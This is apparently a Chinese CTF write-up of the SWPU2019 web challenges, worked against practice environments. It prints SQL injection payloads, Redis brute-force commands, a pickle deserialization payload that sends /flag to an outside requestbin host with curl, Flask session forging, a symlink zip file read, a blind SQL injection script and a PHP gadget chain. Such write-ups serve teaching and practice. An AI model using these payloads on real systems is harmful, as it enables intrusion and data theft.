SWPU2019 wp

好好好好久没怎么做题了,正好手上有这次比赛的wp,buu也有环境,顺着理一理知识点-_-

web1

注册登录,在广告申请的广告名处发现sql注入:

过滤了空格、orinformation等关键字,查询数据表:

1'union/**/select/**/0,(select/**/group_concat(table_name)from/**/mysql.innodb_table_stats),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21||'

开始想的肯定是要读取FLAG_TABLE这个表的:

1'union/**/select/**/0,(select/**/*/**/from/**/FLAG_TABLE),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21||'

但发现这个表不在当前数据库中:

那么试着读users表:

1'union/**/select/**/0,(select/**/group_concat(`3`)from(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)a),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21||'

没想到flag在里面。。。

又看了看wp,发现buu里面的和官方描写的环境有一丢丢不一样,官方的做法是用sys.schema_auto_increment_columns这个表来代替information_schema.tables找表名,用无列名注入找flag;原环境还过滤了反引号,可以用as等绕过

web2

代理配置

这道题buu上要使用shadowsocks代理,配置过程如下(Ubuntu18.04):

1.下载shadowsocks:

sudo apt-get install shadowsocks

2.连接代理:

sslocal -s node3.buuoj.cn -p 11111 -k 123456

3.如果是浏览器访问,需配置浏览器代理,选择Sock5,ip设为127.0.0.1,端口设为默认的1080

4.需要命令行访问如curl、nmap,可以用proxychains做正向代理:

sudo vi /etc/proxychains.conf
socks5 127.0.0.1 1080  #添加到最下方

题目分析

注册登录后,查看源码看到提示redis,访问6379端口发现redis是开放的,那么远程连接:

proxychains4 redis-cli -h web -p 6379

keys *发现需要认证,那么尝试弱口令爆破:

1.hydra爆破:

proxychains4 hydra -P /home/gtfly/桌面/CTF工具/DICT/10_million_password_list_top_1000.txt redis://web -t 1 -V

不过hydra多任务爆破好像有问题,有几次没有爆破出密码,可参考文章,可以更改默认的任务数,添加参数-t 1,单线程爆破,能爆破出,不过真慢

2.msf爆破:

sudo proxychains4 msfconsole
search redis
use auxiliary/scanner/redis/redis_login
set rhosts web
set rport 6379
exploit

爆破出密码password,查看数据库内容:

发现其内容为python序列化后的内容:

>>> pickle.loads(b"(dp1\nS'username'\np2\nVadmin\np3\nsS'_permanent'\np4\nI01\ns.")
{'username': u'admin', '_permanent': True}
>>> 

那么可以想到P神的一篇文章了;利用pyhton反序列化来getshell

Python2.7和3.5默认使用的序列化格式有所区别,一般带有括号和换行的序列化数据是2.7使用的,而包含\x00的一般是3.5使用的

手动设置session值或者用脚本:

1
2
3
4
5
6
7
8
9
10
11
import cPickle
import os
import redis
class exp(object):
def __reduce__(self):
s = "curl -d '@/flag' http://http.requestbin.buuoj.cn/wlfsvbwl"
return (os.system, (s,))
e = exp()
s = cPickle.dumps(e)
r = redis.Redis(host='web',password="password", port=6379, db=0)
r.set("session:5b0e11b5-8bc6-4f43-aa74-b9a16f7619f5", s)

运行:

proxychains4 python exp.py

最终脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# coding=utf8
import cPickle
import os
import redis
import urllib
import requests

# 注册
url = 'http://web:2333/register'

headers = {
'Cookie': 'session=9bb24672-a9cc-456a-ab58-4b5b1eb7046e.XMM9nLyY_XDns5In2Uz8LjT6aS4;'
}

data = {
'username':'gtf1y',
'password':'123456'
}

s = requests.post(url, data=data, headers=headers)
print(s.text)
print('='*30)

# 替换session值
class exp(object):
def __reduce__(self):
s = "ls > ./static/js/materialize.min.js"
return (os.system, (s,))
e = exp()
s = cPickle.dumps(e)
#print(urllib.quote(s))
r = redis.Redis(host='web',password="password", port=6379, db=0)
r.set("session:9bb24672-a9cc-456a-ab58-4b5b1eb7046e", s)

url = 'http://web:2333/static/js/materialize.min.js'
s = requests.get(url, headers).text
print s

运行两次脚本后,即可得到执行的结果,至于为撒要运行两次,不明白…

P:因buu题目环境不能访问外网受限,且题目为flask,不存在的路由不能访问,因此把执行的结果写入到static目录下的一个js文件内

web3

一个Flask应用,任意账号都可以登录,之后有个上传页面,点击提示permission denied

查看源码,提示404 not found;输入一个不存在的路由,在响应头发现一串base64字符串:

解码后得到:SECRET_KEY:keyqqqwwweee!@#$%^&*

那么肯定是要伪造客户端session;首先要解密原有的session:

▶ python3 flask-session-decode.py
eyJpZCI6eyIgYiI6Ik1UQXcifSwiaXNfbG9naW4iOnRydWUsInBhc3N3b3JkIjoiMTIzNDU2IiwidXNlcm5hbWUiOiJndGZseSJ9
b'{"id":{" b":"MTAw"},"is_login":true,"password":"123456","username":"gtfly"}'
1576576956

发现MTAw可以进行base64解码为100;其对应的构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask,session
app = Flask(__name__)
app.config['SECRET_KEY'] = 'keyqqqwwweee!@#$%^&*'
@app.route('/')
def index():
session['id'] = b'100'
session['is_login'] = True
session['password'] = '123456'
session['username'] = 'admin'
print(session)
return 'hello world'

if __name__ == "__main__":
app.run(host='127.0.0.1', port=5000, debug=True)

试了试将id改为0,不行,改为1,可以,使用session:

eyJpZCI6eyIgYiI6Ik1RPT0ifSwiaXNfbG9naW4iOnRydWUsInBhc3N3b3JkIjoiMTIzNDU2IiwidXNlcm5hbWUiOiJhZG1pbiJ9.XfirUg.RWcBwWK-g__Y_AerXiXHAITkvM0

之后便可上传文件;查看源码,发现代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
@app.route('/upload',methods=['GET','POST'])
def upload():
if session['id'] != b'1':
return render_template_string(temp)
if request.method=='POST':
m = hashlib.md5()
name = session['password']
name = name+'qweqweqwe'
name = name.encode(encoding='utf-8')
m.update(name)
md5_one= m.hexdigest()
n = hashlib.md5()
ip = request.remote_addr
ip = ip.encode(encoding='utf-8')
n.update(ip)
md5_ip = n.hexdigest()
f=request.files['file']
basepath=os.path.dirname(os.path.realpath(__file__))
path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
path_base = basepath+'/upload/'+md5_ip+'/'
filename = f.filename
pathname = path+filename
if "zip" != filename.split('.')[-1]:
return 'zip only allowed'
if not os.path.exists(path_base):
try:
os.makedirs(path_base)
except Exception as e:
return 'error'
if not os.path.exists(path):
try:
os.makedirs(path)
except Exception as e:
return 'error'
if not os.path.exists(pathname):
try:
f.save(pathname)
except Exception as e:
return 'error'
try:
cmd = "unzip -n -d "+path+" "+ pathname
if cmd.find('|') != -1 or cmd.find(';') != -1:
waf()
return 'error'
os.system(cmd)
except Exception as e:
return 'error'
unzip_file = zipfile.ZipFile(pathname,'r')
unzip_filename = unzip_file.namelist()[0]
if session['is_login'] != True:
return 'not login'
try:
if unzip_filename.find('/') != -1:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
image = open(path+unzip_filename, "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
except Exception as e:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
return render_template('upload.html')


@app.route('/showflag')
def showflag():
if True == False:
image = open(os.path.join('./flag/flag.jpg'), "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
else:
return "can't give you"

根据:

1
2
3
4
5
6
if "zip" != filename.split('.')[-1]:
return 'zip only allowed'
...
cmd = "unzip -n -d "+path+" "+ pathname
...
image = open(path+unzip_filename, "rb").read()

可以看出其功能是将上传的zip文件解压,之后读取其内容后返回;在showflag()方法中,给出了flag的路径

那么可以联想到HCTF2018 Hide and seek;构造软链接:

ln -s b.jpg /proc/self/cwd/flag/flag.jpg

将b.jpg压缩为b.zip,抓包上传后即可看到flag

web4

题目是个登录页面,发现没有注册功能;

/static/js/login.js发现提交的用户名和密码会送到index.php?r=Login/Login

在用户名处输入1',会返回500,那么可以猜测有sql注入

当输入1'|'时,由于闭合了最后一个单引号,正常返回了{"code":"202","info":"error username or password."},但如果不存在最后一个闭合的单引号,而存在一个关键词and,也会返回这个202错误,例如{"username":"1'|and","password":"a"}

但是如果把and改成database(),就会返回500:{"username":"1'|database()","password":"asdf"};那么可以根据以上特点推测出:

1.如果语句中存在被过滤的关键词,即使语句语法错误,也会返回202
2.如果语句中不存在被过滤的关键词,那么语法错误会返回500

fuzz过滤的有:

union and or sleep || benchmark order select if information ...

虽然过滤了那么多,但是还是可以注入的(哈嘿):

{"username":"1'&case when (username=0x61646D696E) then exp(~database()) else 1 end & '","password":"asdf"}

碰巧猜到了后台用户名字段为usernmae,直接试admin,发现就是admin,不过password字段没有猜出来…

尝试用堆叠注入,发现存在(开始做的时候没试,之后题目有个提示MVC,发现果然可执行多语句,不过写的脚本不知为撒跑不出来东西:):

set @x=0xabcd;prepare s from @x;execute s;

只需控制@x后的16进制值,便可想执行什马语句就可以执行神马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import json

url = 'http://182.92.220.157:11116/index.php?r=Login/Login'

strings = ''
for i in range(1, 100):
print('[{}]'.format(i))
for j in range(33, 128):
# payload = 'select if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {0}, 1))={1},sleep(4),0);'.format(i, j)
# flag,user
# payload = 'select if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flag"), {0}, 1))={1},sleep(4),0);'.format(i, j)
# flag
payload = 'select if(ascii(substr((select flag from flag), {0}, 1))={1},sleep(4),0);'.format(i, j)
# AmOL#T.zip
# payload = 'select if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="user"), {0}, 1))={1},sleep(4),0);'.format(i, j)
# username,password
# payload = 'select if(ascii(substr((select password from user), {0}, 1))={1},sleep(4),0);'.format(i, j)
# asdfjnia@*jbfdsb!
payloads = ''
for index in payload:
payloads += hex(ord(index))[2:]
data = {"username":"1';set @x=0x{};prepare s from @x;execute s;'".format(payloads),"password":"a"}
data = json.dumps(data)
try:
s = requests.post(url, data=data, timeout=3)
except:
strings += chr(j)
print(strings)

唉写的时候中间老是出错,以后要记住变量名不能随便起!

访问zip路径后获取后台源码,其结构为:

├── Common
│   ├── config.php
│   ├── fun.php
│   └── Tools.php
├── Controller
│   ├── BaseController.php
│   ├── LoginController.php
│   └── UserController.php
├── favicon.ico
├── flag.php
├── index.php
├── Lib
│   ├── DBTool.php
│   ├── Page.php
│   └── Safe.php
├── Model
│   ├── BaseModel.php
│   ├── LoginModel.php
│   └── UserModel.php
├── static
│   └── js
│       └── login.js
└── View
    ├── userIndex.php
    ├── userInfo.php
    └── userLogin.php

flag.php

1
2
3
<?php
echo "flag is here,but you must try to see it.";
$flag = "swpuctf{xxxxxxxxxx}";

那么应该想办法来读取这个文件

index.php

1
2
3
4
5
6
7
8
9
10
<?php 

// 定义项目路径
define('BASE_PATH', __DIR__);
define('BASR_URL', "{$_SERVER['SERVER_NAME']}/demo/Blog");

// 引入核心类
require BASE_PATH . '/Common/config.php';
require BASE_PATH . '/Common/fun.php';
require BASE_PATH . '/Common/Tools.php';

定义了一些常量并引入了一些类;

config.php为数据库配置信息

func.php有个路由控制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// 路由控制跳转至控制器
if(!empty($_REQUEST['r']))
{
$r = explode('/', $_REQUEST['r']);
list($controller,$action) = $r;
$controller = "{$controller}Controller";
$action = "action{$action}";

if(class_exists($controller))
{
if(method_exists($controller,$action))
{
//
}
else
{
$action = "actionIndex";
}
}
else
{
$controller = "LoginController";
$action = "actionIndex";
}
$data = call_user_func(array( (new $controller), $action));
} else {
header("Location:index.php?r=Login/Index");
}

那么当访问其默认登录的路径Login/Login时,代码会通过call_user_func这个回调函数来调用:LoginController中的actionLogin方法

BaseController中发现含有文件包含函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class BaseController
{
private $viewPath;
public function loadView($viewName ='', $viewData = [])
{
$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
if(file_exists($this->viewPath))
{
extract($viewData);
include $this->viewPath;
}
}
}

发现在包含前有个extract函数,那么这里就有古怪了,只要能控制$viewData,那么便能控制包含的内容;寻找调用loadView方法的地方;在phpstorm下用Control+Shift+F;在UserController.php中发现利用点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class UserController extends BaseController
{
// 访问列表
public function actionList()
{
$params = $_REQUEST;
$userModel = new UserModel();
$listData = $userModel->getPageList($params);
$this->loadView('userList', $listData );
}
public function actionIndex()
{
$listData = $_REQUEST;
$this->loadView('userIndex',$listData);
}
}

根据路由规则,调用UserController控制器中的actionIndex方法需访问:r=User/Index;那么同时POST数据:

viewPath=php://filter/read=convert.base64-encode/resrouce=../flag.php

但是这样是读不出flag的,仔细想了想,原因是:通过extract覆盖得到的是普通变量而非类中的属性变量

其默认是包含的userIndex.php;在View/userIndex.php中存在文件读取漏洞:

1
2
3
4
5
6
7
8
9
10
if(!isset($img_file)) {
$img_file = '/../favicon.ico';
}
$img_dir = dirname(__FILE__) . $img_file;
$img_base64 = imgToBase64($img_dir);
echo '<img src="' . $img_base64 . '">';
......
//文件读取漏洞
$content = fread($fp, $filesize);
......

那么让变量$img_file等于../flag.php即可;注意dirname(__FILE__)取到的是当前文件的绝对路径,因此需要在../flag.php前加一个/,即

img_file=/../flag.php

即最终payload:

r=User/Index&img_file=/../flag.php

base64解码即可拿到flag~

web5

java实在不会…

https://xz.aliyun.com/t/3741#toc-2
https://www.jianshu.com/p/73cd11d83c30
https://nikoeurus.github.io/2019/12/09/SWPU-ctf/#FFFFF

web6

题目说明 wsdl.php

注入

登录页面,随便输入显示:

loginSELECT * FROM users WHERE username='admin' and passwd='password'wrong username or password

fuzz下过滤的关键字:

union and sleep benchmark select ( ) regexp like , join limit 

测试order by注入、参数请求拆分注入都失败了…

看wp才发现我竟然碰到过这种题,iscc线下赛,用户名和密码验证的是分开的,且密码验证处存在弱比较…这真想不到

因为limit被过滤了,因此不能用以前的limit x offset x方法了;这里可以用having关键字:

mysql中的wherehaving子句都可以实现过滤记录的功能,但他们的用法还是有一些区别的:

having 字句可以让我们筛选成组后的各种数据,where字句在聚合前先筛选记录,也就是说作用在group by和having字句前。而 having 子句在聚合后对组记录进行筛选

having 一般跟在 group by 之后,用于分组后的筛选
where 则是执行所有数据来工作的

构造:

username=1' or '1'='1' group by passwd with rollup having passwd is NULL -- -&passwd=

返回了Set-Cookie: user=3J6Roahxag%3D%3D,登录显示welcome guest

WSDL

相关知识:

Web services 使用 XML 来编解码数据,并使用 SOAP 借由开放的协议来传输数据。

曾经有人说SOAP并不真需要什么接口描述语言。如果SOAP是交流纯内容的标准,那就需要一种语言来描述内容。SOAP消息确实带有某些类型信息,因此SOAP允许动态的决定类型。但不知道一个函数的函数名、参数的个数和各自类型,怎么可能去调用这个函数呢?没有WSDL,我可以从必备文档中确定调用语法,或者检查消息。随便何种方法,都必须有人参与,这个过程可能会有错。而使用了WSDL,我就可以通过这种跨平台和跨语言的方法使Web Service代理的产生自动化。就像COM和CORBA的IDL文件,WSDL文件由客户和服务器约定。

WSDL文档可以分为两部分。顶部分由抽象定义组成,而底部分则由具体描述组成。抽象部分以独立于平台和语言的方式定义SOAP消息,它们并不包含任何随机器或语言而变的元素。这就定义了一系列服务,截然不同的网站都可以实现。随网站而异的东西如序列化便归入底部分,因为它包含具体的定义。

l.抽象定义

Types:独立与机器和语言的类型定义

Messages:包括函数参数(输入与输出分开)或文档描述

PortTypes:引用消息部分中消息定义来描述函数签名(操作名、输入参数、输出参数)

2.具体定义

Bindings:PortTypes部分的每一操作在此绑定实现

Services:确定每一绑定的端口地址

这道题目访问wsdl.php,可看到其定义的操作有:

index login set_cookie user check File_read hint get_flag

hint:

/index.php?method=hint

a few file may be helpful index.php Service.php interface.php se.php

get_flag:

/index.php?method=get_flag

only admin in 127.0.0.1 can get_flag

文件读取:

/index.php?method=File_read

you need input something

POSTfilename发现可读取

index.php:

encode.php:

interface.php:

se.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
ini_set('session.serialize_handler', 'php');

class aa
{
public $mod1;
public $mod2;
public function __call($name,$param)
{
if($this->{$name})
{
$s1 = $this->{$name};
$s1();
}
}
public function __get($ke)
{
return $this->mod2[$ke];
}
}


class bb
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test2();
}
}

class cc
{
public $mod1;
public $mod2;
public $mod3;
public function __invoke()
{
$this->mod2 = $this->mod3.$this->mod1;
}
}

class dd
{
public $name;
public $flag;
public $b;

public function getflag()
{
session_start();
var_dump($_SESSION);
$a = array(reset($_SESSION),$this->flag);
echo call_user_func($this->b,$a);
}
}
class ee
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->{$this->str2}();
return "1";
}
}

$a = $_POST['aa'];
unserialize($a);
?>

参考:

https://nikoeurus.github.io/2019/12/09/SWPU-ctf/#easy-web